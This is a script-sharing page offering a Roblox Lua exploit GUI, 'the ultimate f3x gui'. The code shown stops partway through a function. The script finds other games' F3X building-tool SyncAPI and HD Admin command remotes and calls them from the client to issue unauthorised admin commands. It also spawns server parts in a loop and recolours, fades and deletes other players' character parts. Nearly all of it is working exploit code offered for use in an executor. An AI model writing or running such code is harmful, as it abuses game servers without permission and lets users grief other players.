the ultimate f3x gui
Key RequiredUniversal

the ultimate f3x gui

Universal Scriptelizma4him3elizma4him3 1.2K views 341 executesUpdated Jan 22, 2026
5.0/ 5(2 votes)
20100% Positive
Lua Script•2234 lines (60312 chars)
-- Instances: 22 | Scripts: 6 | Modules: 0 | Tags: 0
local LMG2L = {};

-- Players.D0manated.PlayerGui.ScreenGui
LMG2L["ScreenGui_1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
LMG2L["ScreenGui_1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;


-- Players.D0manated.PlayerGui.ScreenGui.drag
LMG2L["drag_2"] = Instance.new("Frame", LMG2L["ScreenGui_1"]);
LMG2L["drag_2"]["Active"] = true;
LMG2L["drag_2"]["BorderSizePixel"] = 0;
LMG2L["drag_2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["drag_2"]["Size"] = UDim2.new(0.30689, 0, 0.03484, 0);
LMG2L["drag_2"]["Position"] = UDim2.new(0.34699, 0, 0.10105, 0);
LMG2L["drag_2"]["Name"] = [[drag]];
LMG2L["drag_2"]["BackgroundTransparency"] = 0.3;


-- Players.D0manated.PlayerGui.ScreenGui.drag.LocalScript
LMG2L["LocalScript_3"] = Instance.new("LocalScript", LMG2L["drag_2"]);



-- Players.D0manated.PlayerGui.ScreenGui.drag.f3x
LMG2L["f3x_4"] = Instance.new("TextLabel", LMG2L["drag_2"]);
LMG2L["f3x_4"]["TextWrapped"] = true;
LMG2L["f3x_4"]["BorderSizePixel"] = 0;
LMG2L["f3x_4"]["TextSize"] = 15;
LMG2L["f3x_4"]["TextScaled"] = true;
LMG2L["f3x_4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["f3x_4"]["BackgroundTransparency"] = 1;
LMG2L["f3x_4"]["Size"] = UDim2.new(1, 0, 1, 0);
LMG2L["f3x_4"]["Text"] = [[the ultimate f3x gui]];
LMG2L["f3x_4"]["Name"] = [[f3x]];


-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame
LMG2L["Frame_5"] = Instance.new("Frame", LMG2L["drag_2"]);
LMG2L["Frame_5"]["BorderSizePixel"] = 0;
LMG2L["Frame_5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["Frame_5"]["Size"] = UDim2.new(1, 0, 7.9, 0);
LMG2L["Frame_5"]["Position"] = UDim2.new(0, 0, 1, 0);
LMG2L["Frame_5"]["BackgroundTransparency"] = 0.2;


-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.John Doe
LMG2L["John Doe_6"] = Instance.new("TextButton", LMG2L["Frame_5"]);
LMG2L["John Doe_6"]["BorderSizePixel"] = 0;
LMG2L["John Doe_6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["John Doe_6"]["BackgroundTransparency"] = 0.5;
LMG2L["John Doe_6"]["Size"] = UDim2.new(0.1875, 0, 0.16456, 0);
LMG2L["John Doe_6"]["Text"] = [[John Doe]];
LMG2L["John Doe_6"]["Name"] = [[John Doe]];
LMG2L["John Doe_6"]["Position"] = UDim2.new(0.03409, 0, 0.05063, 0);


-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.John Doe.UICorner
LMG2L["UICorner_7"] = Instance.new("UICorner", LMG2L["John Doe_6"]);



-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.John Doe.LocalScript
LMG2L["LocalScript_8"] = Instance.new("LocalScript", LMG2L["John Doe_6"]);



-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.UICorner
LMG2L["UICorner_9"] = Instance.new("UICorner", LMG2L["Frame_5"]);



-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.AK-47
LMG2L["AK-47_a"] = Instance.new("TextButton", LMG2L["Frame_5"]);
LMG2L["AK-47_a"]["BorderSizePixel"] = 0;
LMG2L["AK-47_a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["AK-47_a"]["BackgroundTransparency"] = 0.5;
LMG2L["AK-47_a"]["Size"] = UDim2.new(0.1875, 0, 0.16456, 0);
LMG2L["AK-47_a"]["Text"] = [[AK-47]];
LMG2L["AK-47_a"]["Name"] = [[AK-47]];
LMG2L["AK-47_a"]["Position"] = UDim2.new(0.25568, 0, 0.05063, 0);


-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.AK-47.UICorner
LMG2L["UICorner_b"] = Instance.new("UICorner", LMG2L["AK-47_a"]);



-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.AK-47.LocalScript
LMG2L["LocalScript_c"] = Instance.new("LocalScript", LMG2L["AK-47_a"]);



-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.soul reaper
LMG2L["soul reaper_d"] = Instance.new("TextButton", LMG2L["Frame_5"]);
LMG2L["soul reaper_d"]["BorderSizePixel"] = 0;
LMG2L["soul reaper_d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["soul reaper_d"]["BackgroundTransparency"] = 0.5;
LMG2L["soul reaper_d"]["Size"] = UDim2.new(0.1875, 0, 0.16456, 0);
LMG2L["soul reaper_d"]["Text"] = [[Soul Reaper]];
LMG2L["soul reaper_d"]["Name"] = [[soul reaper]];
LMG2L["soul reaper_d"]["Position"] = UDim2.new(0.71023, 0, 0.05063, 0);


-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.soul reaper.UICorner
LMG2L["UICorner_e"] = Instance.new("UICorner", LMG2L["soul reaper_d"]);



-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.soul reaper.LocalScript
LMG2L["LocalScript_f"] = Instance.new("LocalScript", LMG2L["soul reaper_d"]);



-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.floating earth
LMG2L["floating earth_10"] = Instance.new("TextButton", LMG2L["Frame_5"]);
LMG2L["floating earth_10"]["BorderSizePixel"] = 0;
LMG2L["floating earth_10"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["floating earth_10"]["BackgroundTransparency"] = 0.5;
LMG2L["floating earth_10"]["Size"] = UDim2.new(0.1875, 0, 0.16456, 0);
LMG2L["floating earth_10"]["Text"] = [[earth]];
LMG2L["floating earth_10"]["Name"] = [[floating earth]];
LMG2L["floating earth_10"]["Position"] = UDim2.new(0.47727, 0, 0.05063, 0);


-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.floating earth.UICorner
LMG2L["UICorner_11"] = Instance.new("UICorner", LMG2L["floating earth_10"]);



-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.floating earth.LocalScript
LMG2L["LocalScript_12"] = Instance.new("LocalScript", LMG2L["floating earth_10"]);



-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.ORB
LMG2L["ORB_13"] = Instance.new("TextButton", LMG2L["Frame_5"]);
LMG2L["ORB_13"]["BorderSizePixel"] = 0;
LMG2L["ORB_13"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["ORB_13"]["BackgroundTransparency"] = 0.5;
LMG2L["ORB_13"]["Size"] = UDim2.new(0.1875, 0, 0.16456, 0);
LMG2L["ORB_13"]["Text"] = [[ORB]];
LMG2L["ORB_13"]["Name"] = [[ORB]];
LMG2L["ORB_13"]["Position"] = UDim2.new(0.03409, 0, 0.26582, 0);


-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.ORB.UICorner
LMG2L["UICorner_14"] = Instance.new("UICorner", LMG2L["ORB_13"]);



-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.ORB.LocalScript
LMG2L["LocalScript_15"] = Instance.new("LocalScript", LMG2L["ORB_13"]);



-- Players.D0manated.PlayerGui.ScreenGui.drag.UIAspectRatioConstraint
LMG2L["UIAspectRatioConstraint_16"] = Instance.new("UIAspectRatioConstraint", LMG2L["drag_2"]);
LMG2L["UIAspectRatioConstraint_16"]["AspectRatio"] = 17.6;


-- Players.D0manated.PlayerGui.ScreenGui.drag.LocalScript
local function C_3()
	local script = LMG2L["LocalScript_3"];
	local UserInputService = game:GetService("UserInputService")	
	
	        local gui = script.Parent	
	
	        local dragging	
	        local dragInput	
	        local dragStart	
	        local startPos	
	
	        local function update(input)	
	        	local delta = input.Position - dragStart	
	        	gui.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)	
	        end	
	
	        gui.InputBegan:Connect(function(input)	
	        	if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then	
	        		dragging = true	
	        		dragStart = input.Position	
	        		startPos = gui.Position	
	        			
	        		input.Changed:Connect(function()	
	        			if input.UserInputState == Enum.UserInputState.End then	
	        				dragging = false	
	        			end	
	        		end)	
	        	end	
	        end)	
	
	        gui.InputChanged:Connect(function(input)	
	        	if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then	
	        		dragInput = input	
	        	end	
	        end)	
	
	        UserInputService.InputChanged:Connect(function(input)	
	        	if input == dragInput and dragging then	
	        		update(input)	
	        	end	
	        end)	
end;
task.spawn(C_3);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.John Doe.LocalScript
local function C_8()
	local script = LMG2L["LocalScript_8"];
	local button = script.Parent	
	local Players = game:GetService("Players")	
	local player = Players.LocalPlayer	
	
	local DEBOUNCE_TIME = 0.25	
	local isDebounced = false	
	
	button.Activated:Connect(function()	
		if isDebounced then return end	
		isDebounced = true	
			
	function BurningEff(part)	
	local eff1 = Instance.new("ParticleEmitter",part)	
	eff1.Size = NumberSequence.new(.1)	
	eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})	
	eff1.LightEmission = 1	
	eff1.Lifetime = NumberRange.new(1)	
	eff1.Speed = NumberRange.new(0)	
	eff1.Rate = 100	
	eff1.Texture = "rbxassetid://347504241"	
	eff1.Acceleration = Vector3.new(0,10,0)	
	eff1.Color = ColorSequence.new(Color3.new(1,0,0))	
	local eff2 = Instance.new("ParticleEmitter",part)	
	eff2.Size = NumberSequence.new(.1)	
	eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})	
	eff2.LightEmission = 1	
	eff2.Lifetime = NumberRange.new(1)	
	eff2.Speed = NumberRange.new(0)	
	eff2.Rate = 100	
	eff2.Texture = "rbxassetid://347504259"	
	eff2.Acceleration = Vector3.new(0,10,0)	
	eff2.Color = ColorSequence.new(Color3.new(1,0,0))	
	local eff3 = Instance.new("ParticleEmitter",part)	
	eff3.Size = NumberSequence.new(1)	
	eff3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)})	
	eff3.LightEmission = 1	
	eff3.Lifetime = NumberRange.new(1)	
	eff3.Speed = NumberRange.new(0)	
	eff3.Rate = 100	
	eff3.Texture = "rbxasset://textures/particles/fire_main.dds"	
	eff3.Acceleration = Vector3.new(0,10,0)	
	eff3.Color = ColorSequence.new(Color3.new(1,0,0))	
	end	
	
	
	local player = game.Players.LocalPlayer	
	    local char = player.Character	
	    local tool	
	    for i,v in player:GetDescendants() do	
	        if v.Name == "SyncAPI" then	
	            tool = v.Parent	
	        end	
	    end	
	    for i,v in game.ReplicatedStorage:GetDescendants() do	
	        if v.Name == "SyncAPI" then	
	            tool = v.Parent	
	        end	
	    end	
	   	
	    remote = tool.SyncAPI.ServerEndpoint	
	    function _(args)	
	        remote:InvokeServer(unpack(args))	
	    end	
	blak=Color3.new(0,0,0)	
	
	local function Color(part, color)	
	    local args = {	
	        "SyncColor",	
	        {	
	            {	
	                Part = part,	
	                Color = color,	
	                UnionColoring = false	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	   function DestroyPart(part)	
	        local args = {	
	            [1] = "Remove",	
	            [2] = {	
	                [1] = part	
	            }	
	        }	
	        _(args)	
	    end	
	    function MoveVector(part,vector)	
	        local args = {	
	            [1] = "SyncMesh",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["Offset"] = vector	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	function AddMesh(part)	
	        local args = {	
	            [1] = "CreateMeshes",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	    function SetMesh(part,meshid)	
	        local args = {	
	            [1] = "SyncMesh",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["MeshId"] = "rbxassetid://"..meshid	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	  function SetTrans(part,int)	
	        local args = {	
	            [1] = "SyncMaterial",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["Transparency"] = int	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	local function applyDecorationToPart(part) 	
	    local argsCreate = {	
	        [1] = "CreateDecorations",	
	        [2] = {	
	            [1] = {	
	                ["Part"] = part,	
	                ["DecorationType"] = "Fire"	
	            }	
	        }	
	    }	
	    local argsSync = {	
	        [1] = "SyncDecorate",	
	        [2] = {	
	            [1] = {	
	                ["Part"] = part,	
	                ["DecorationType"] = "Fire",	
	                ["Size"] = 3,	
	                ["Heat"] = 25,	
	                ["Color"] = Color3.fromRGB(255, 0, 0), 	
	                ["SecondaryColor"] = Color3.fromRGB(255, 0, 0) 	
	            } 	
	        } 	
	    }	
	    _(argsCreate)	
	    _(argsSync)	
	end	
	
	function eyePart(part) 	
	    	
	    local argsCreate = {	
	        [1] = "CreateDecorations",	
	        [2] = {	
	            [1] = {	
	                ["Part"] = part,	
	                ["DecorationType"] = "Fire"	
	            }	
	        }	
	    }	
	    local argsSync = {	
	        [1] = "SyncDecorate",	
	        [2] = {	
	            [1] = {	
	                ["Part"] = part,	
	                ["DecorationType"] = "Fire",	
	                ["Size"] = 1,	
	                ["Heat"] = 12,	
	                ["Color"] = Color3.fromRGB(155, 0, 0), 	
	                ["SecondaryColor"] = Color3.fromRGB(255, 0, 0) 	
	            } 	
	        } 	
	    }	
	   	
	    _(argsCreate)	
	    _(argsSync)	
	end	
	
	local ReplicatedStorage = game:GetService("ReplicatedStorage")	
	
	local Players = game:GetService("Players")	
	
	local UserInputService = game:GetService("UserInputService")	
	
	local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent	
	
	--kill thingy	
	function thekille(target)	
	if target and target.Character then	
	    for i,v in target.Character:GetDescendants() do	
	        if v:IsA("BasePart") then	
	            RequestCommand:InvokeServer(";paint "..target.Name.." black")	
	            spawn(function()	
	            Color(v,blak)	
	            end)	
	            spawn(function()	
	            SetTrans(v,0.1)	
	            end)	
	            wait(0.5)	
	            spawn(function()	
	            SetTrans(v,0.2)	
	            end)	
	            wait(0.5)	
	            spawn(function()	
	            SetTrans(v,0.3)	
	            end)	
	            wait(0.5)	
	            spawn(function()	
	            SetTrans(v,0.4)	
	            end)	
	            wait(0.5)	
	            spawn(function()	
	            SetTrans(v,0.5)	
	            end)	
	            wait(0.5)	
	            spawn(function()	
	            SetTrans(v,0.6)	
	            end)	
	            wait(0.5)	
	            spawn(function()	
	            SetTrans(v,0.7)	
	            end)	
	            wait(0.5)	
	            spawn(function()	
	            SetTrans(v,0.8)	
	            end)	
	            wait(0.5)	
	            spawn(function()	
	            SetTrans(v,0.9)	
	            end)	
	            wait(0.5)	
	            spawn(function()	
	            SetTrans(v,1)	
	            end)	
	            wait(3)	
	            spawn(function()	
	            DestroyPart(v)	
	            end)	
	        end	
	    end	
	end	
	end	
	wait(0.1)	
	
	local kill = Instance.new("Sound",char)	
	kill.SoundId = "rbxassetid://28144425"	
	kill.Pitch = 0.6	
	kill.Volume = 3	
	
	local at = kill:Clone()	
	at.SoundId="rbxassetid://82500396906354"	
	at.Parent = char	
	at.Volume = 0.5	
	
	local player = Players.LocalPlayer	
	local character = char	
	
	
	RequestCommand:InvokeServer(";titlebk me ᴊᴏʜɴ ᴅᴏᴇ")	
	RequestCommand:InvokeServer(";removeaccessories")	
	wait(1.5)	
	RequestCommand:InvokeServer(";hat me 18196403126")	
	wait(0.6)	
	 RequestCommand:InvokeServer(";shirt me 100276101149100")	
	wait(0.9)	
	 RequestCommand:InvokeServer(";pants me 109662040845019")	
	wait(0.5)	
	RequestCommand:InvokeServer(";head me 0")	
	wait(0.7)	
	RequestCommand:InvokeServer(";face me 144075659")	
	wait(0.3)	
	local eye = char:FindFirstChild("Accessory (JohnEye)").Handle	
	local arm = char:FindFirstChild("Right Arm")	
	local tor = char:FindFirstChild("Torso")	
	local ar2 = char:FindFirstChild("Left Arm")	
	
	local RLeg = char:FindFirstChild("Right Leg")	
	local head = char:FindFirstChild("Head")	
	local LLeg = char:FindFirstChild("Left Leg")	
	task.spawn(function()	
	applyDecorationToPart(arm)	
	end)	
	task.spawn(function()	
	applyDecorationToPart(ar2)	
	end)	
	task.spawn(function()	
	eyePart(eye)	
	end)	
	RequestCommand:InvokeServer(";music 17717379222 ;pitch 0.2 ;volume inf")	
	task.spawn(function()	
	Color(arm, Color3.fromRGB(0,0,0))	
	end)	
	task.spawn(function()	
	Color(ar2, Color3.fromRGB(252, 255, 150))	
	end)	
	task.spawn(function()	
	Color(head, Color3.fromRGB(252, 255, 150))	
	end)	
	task.spawn(function()	
	Color(tor, Color3.fromRGB(255, 255, 0))	
	end)	
	task.spawn(function()	
	Color(RLeg, Color3.fromRGB(0, 200, 255))	
	end)	
	task.spawn(function()	
	Color(LLeg, Color3.fromRGB(0, 200, 255))	
	end)	
	task.spawn(function()	
	AddMesh(arm)	
	end)	
	task.spawn(function()	
	SetMesh(arm,"94818190090394")	
	end)	
	task.spawn(function()	
	MoveVector(arm,Vector3.new(0.37, -0.6, 0))	
	end)	
	
	local arm = character:FindFirstChild("Right Arm") 	
	local humanoid = character:FindFirstChildOfClass("Humanoid")	
	
	local isDead = false	
	humanoid.Died:Connect(function()	
	    isDead = true	
	end)	
	
	local animator = humanoid:FindFirstChildOfClass("Animator")	
	
	local attackAnim = Instance.new("Animation")	
	attackAnim.AnimationId = "rbxassetid://186934658"	
	local attackTrack = animator:LoadAnimation(attackAnim)	
	function attack()	
	    attackTrack:Play() 	
	    local hitPlayer = nil	
	    local touchedConnection	
	
	    local function onTouch(other)	
	        local otherPlayer = Players:GetPlayerFromCharacter(other.Parent)	
	        if otherPlayer and otherPlayer ~= player then	
	            hitPlayer = otherPlayer	
	        end	
	    end	
	
	    touchedConnection = arm.Touched:Connect(onTouch)	
	    task.wait(0.5)	
	    if touchedConnection then	
	        touchedConnection:Disconnect()	
	    end	
	    if hitPlayer then	
	d = at:Clone()	
	d:Play()	
	d.Parent = char	
	spawn(function()	
	wait(5)	
	d:Destroy()	
	end)	
	task.spawn(DestroyPart,hitPlayer.Character.Head)	
	    else	
	d = kill:Clone()	
	d:Play()	
	d.Parent = char	
	wait(5)	
	d:Destroy()	
	    end	
	end	
	
	
	
	
	UserInputService.TouchTap:Connect(function(input, gameProcessed)	
	    if gameProcessed then return end	
	
	    if isDead then return end 	
	    attack()	
	end)	
	
	
	
	local backpack = player.Backpack	
	
	local function getf3x()	
	    for _, v in ipairs(backpack:GetChildren()) do	
	        if v:FindFirstChild("SyncAPI") then	
	            return v	
	        end	
	    end	
	    for _, v in ipairs(char:GetChildren()) do	
	        if v:FindFirstChild("SyncAPI") then	
	            return v	
	        end	
	    end	
	    return nil	
	end	
	
	local f3x = getf3x()	
	if not f3x then	
	    warn("you dont have f3x skid")	
	end	
	
	local syncapi = f3x.SyncAPI	
	local serverendpoint = syncapi.ServerEndpoint	
	local function fire(part) 	
	    	
	    local argsCreate = {	
	        [1] = "CreateDecorations",	
	        [2] = {	
	            [1] = {	
	                ["Part"] = part,	
	                ["DecorationType"] = "Fire"	
	            }	
	        }	
	    }	
	
	   	
	    local argsSync = {	
	        [1] = "SyncDecorate",	
	        [2] = {	
	            [1] = {	
	                ["Part"] = part,	
	                ["DecorationType"] = "Fire",	
	                ["Size"] = 10,	
	                ["Heat"] = 0,	
	                ["Color"] = Color3.fromRGB(255, 0, 0), 	
	                ["SecondaryColor"] = Color3.fromRGB(255, 0, 0) 	
	            } 	
	        } 	
	    }	
	
	    	
	    _(argsCreate)	
	    _(argsSync)	
	end	
	            function delete(part)	
	                local args = {	
	                    [1] = "Remove",	
	                    [2] = {	
	                        [1] = part	
	                    }	
	                }	
	                _(args)	
	            end	
	function MovePart(part, cf)	
	    local args = {	
	        "SyncMove",	
	        {	
	            {	
	                Part = part,	
	                CFrame = cf	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	local function resize(part, size, cf)	
	    local args = {	
	        "SyncResize",	
	        {	
	            {	
	                Part = part,	
	                CFrame = cf,	
	                Size = size	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	local function syncmaterial(part, mate)	
	    local args = {	
	        "SyncMaterial",	
	        {	
	            {	
	                Part = part,	
	                Material = mate	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	local function transparency(part, trans)	
	    local args = {	
	        "SyncMaterial",	
	        {	
	            {	
	                Part = part,	
	                Transparency = trans	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	local function color(part, color)	
	    local args = {	
	        "SyncColor",	
	        {	
	            {	
	                Part = part,	
	                Color = color,	
	                UnionColoring = false	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	local function syncmeshid(part, id)	
	    local args = {	
	        "SyncMesh",	
	        {	
	            {	
	                Part = part,	
	                MeshId = "rbxassetid://" .. id	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	function destroy(part)	
	                local args = {	
	                    [1] = "Remove",	
	                    [2] = {	
	                        [1] = part	
	                    }	
	                }	
	                _(args)	
	            end	
	local function makemesh(part)	
	    local args = {	
	        "CreateMeshes",	
	        {	
	            {	
	                Part = part	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	local function syncmeshsize(part, vectora)	
	    local args = {	
	        "SyncMesh",	
	        {	
	            {	
	                Part = part,	
	                Scale = vectora	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	local function syncmeshtexture(part, id)	
	    local args = {	
	        "SyncMesh",	
	        {	
	            {	
	                Part = part,	
	                TextureId = "rbxassetid://" .. id	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	local function name(part, stringa)	
	    local args = {	
	        "SetName",	
	        { part },	
	        stringa	
	    }	
	    _(args)	
	end	
	
	local function lock(part, boolean)	
	    local args = {	
	        "SetLocked",	
	        { part },	
	        boolean	
	    }	
	    _(args)	
	end	
	
	local function setcollision(part, booleana)	
	    local args = {	
	        "SyncCollision",	
	        {	
	            {	
	                Part = part,	
	                CanCollide = booleana	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	local function setanchor(part, boolean)	
	    local args = {	
	        "SyncAnchor",	
	        {	
	            {	
	                Part = part,	
	                Anchored = boolean	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	local function createdecal(part, side)	
	    local args = {	
	        "CreateTextures",	
	        {	
	            {	
	                Part = part,	
	                Face = side,	
	                TextureType = "Decal"	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	local function setdecal(part, asset, side)	
	    local args = {	
	        "SyncTexture",	
	        {	
	            {	
	                Part = part,	
	                Face = side,	
	                TextureType = "Decal",	
	                Texture = "rbxassetid://" .. asset	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	task.spawn(function()	
	while task.wait(0.02) do	
	            task.spawn(function()	
	                local hrp = char.HumanoidRootPart	
	                local pos = hrp.CFrame * CFrame.new(0, -3, 0)	
	                local trail = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(0,0,0), char)	
	        task.spawn(function()	
	                setcollision(trail, false)	
	        end)	
	        task.spawn(function()	
	                syncmaterial(trail, Enum.Material.Granite)	
	        end)	
	        task.spawn(function()	
	                color(trail, Color3.new(0, 0, 0))	
	        end)	
	        task.spawn(function()	
	                resize(trail, Vector3.new(10,0,10), pos)	
	        end)	
	        task.spawn(function()	
	        fire(trail)	
	        end)	
	BurningEff(trail)	
	                task.wait(1)	
	                delete(trail)	
	            end)	
	        end	
	end)	
	
	local ReplicatedStorage = game:GetService("ReplicatedStorage")	
	local rq = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent	
	local RunService = game:GetService("RunService")	
	local rotatetypeshii = Vector3.new(0, 1, 0).Unit	
	local skypartrotation = 0	
	local player = game.Players.LocalPlayer	
	    local char = player.Character	
	    local tool	
	    for i,v in player:GetDescendants() do	
	        if v.Name == "SyncAPI" then	
	            tool = v.Parent	
	        end	
	    end	
	    for i,v in game.ReplicatedStorage:GetDescendants() do	
	        if v.Name == "SyncAPI" then	
	            tool = v.Parent	
	        end	
	    end	
	    --craaa	
	    remote = tool.SyncAPI.ServerEndpoint	
	    function _(args)	
	        remote:InvokeServer(unpack(args))	
	    end	
	    function SetCollision(part,boolean)	
	        local args = {	
	            [1] = "SyncCollision",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["CanCollide"] = boolean	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	    function SetAnchor(boolean,part)	
	        local args = {	
	            [1] = "SyncAnchor",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["Anchored"] = boolean	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	    function CreatePart(cf,parent)	
	        local args = {	
	            [1] = "CreatePart",	
	            [2] = "Normal",	
	            [3] = cf,	
	            [4] = parent	
	        }	
	        _(args)	
	    end	
	    function DestroyPart(part)	
	        local args = {	
	            [1] = "Remove",	
	            [2] = {	
	                [1] = part	
	            }	
	        }	
	        _(args)	
	    end	
	    function MovePart(part,cf)	
	        local args = {	
	            [1] = "SyncMove",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["CFrame"] = cf	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	    function Resize(part,size,cf)	
	        local args = {	
	            [1] = "SyncResize",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["CFrame"] = cf,	
	                    ["Size"] = size	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	    function AddMesh(part)	
	        local args = {	
	            [1] = "CreateMeshes",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	    function reflect(part,int)	
	        local args = {	
	            [1] = "SyncMaterial",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["Reflectance"] = int	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	    function SetMesh(part,meshid)	
	        local args = {	
	            [1] = "SyncMesh",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["MeshId"] = "rbxassetid://"..meshid	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	    function SetTexture(part, texid)	
	        local args = {	
	            [1] = "SyncMesh",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["TextureId"] = "rbxassetid://"..texid	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	    function SetName(part, stringg)	
	        local args = {	
	            [1] = "SetName",	
	            [2] = {	
	                [1] = part	
	            },	
	            [3] = stringg	
	        }	
	
	        _(args)	
	    end	
	    function MeshResize(part,size)	
	        local args = {	
	            [1] = "SyncMesh",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["Scale"] = size	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	function MeshColor(part,color)	
	local args = {	
	    "SyncMesh",	
	    {	
	        {	
	            Part = part,	
	            VertexColor = color 	
	        }	
	    }	
	}	
	_(args)	
	    end	
	    function Weld(part1, part2,lead)	
	        local args = {	
	            [1] = "CreateWelds",	
	            [2] = {	
	                [1] = part1,	
	                [2] = part2	
	            },	
	            [3] = lead	
	        }	
	        _(args)	
	
	    end	
	    function SetLocked(part,boolean)	
	        local args = {	
	            [1] = "SetLocked",	
	            [2] = {	
	                [1] = part	
	            },	
	            [3] = boolean	
	        }	
	        _(args)	
	    end	
	
	    function SetTrans(part,int)	
	        local args = {	
	            [1] = "SyncMaterial",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["Transparency"] = int	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	function Setmate(part,int)	
	        local args = {	
	            [1] = "SyncMaterial",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["Material"] = int	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	    function CreateSpotlight(part)	
	        local args = {	
	            [1] = "CreateLights",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["LightType"] = "SpotLight"	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	    function SyncLighting(part,brightness)	
	        local args = {	
	            [1] = "SyncLighting",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["LightType"] = "SpotLight",	
	                    ["Brightness"] = brightness	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	    function Color(part,color)	
	        local args = {	
	            [1] = "SyncColor",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["Color"] = color --[[Color3]],	
	                    ["UnionColoring"] = false	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	    function SpawnDecal(part,side)	
	        local args = {	
	            [1] = "CreateTextures",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["Face"] = side,	
	                    ["TextureType"] = "Decal"	
	                }	
	            }	
	        }	
	
	        _(args)	
	    end	
	    function AddDecal(part,asset,side)	
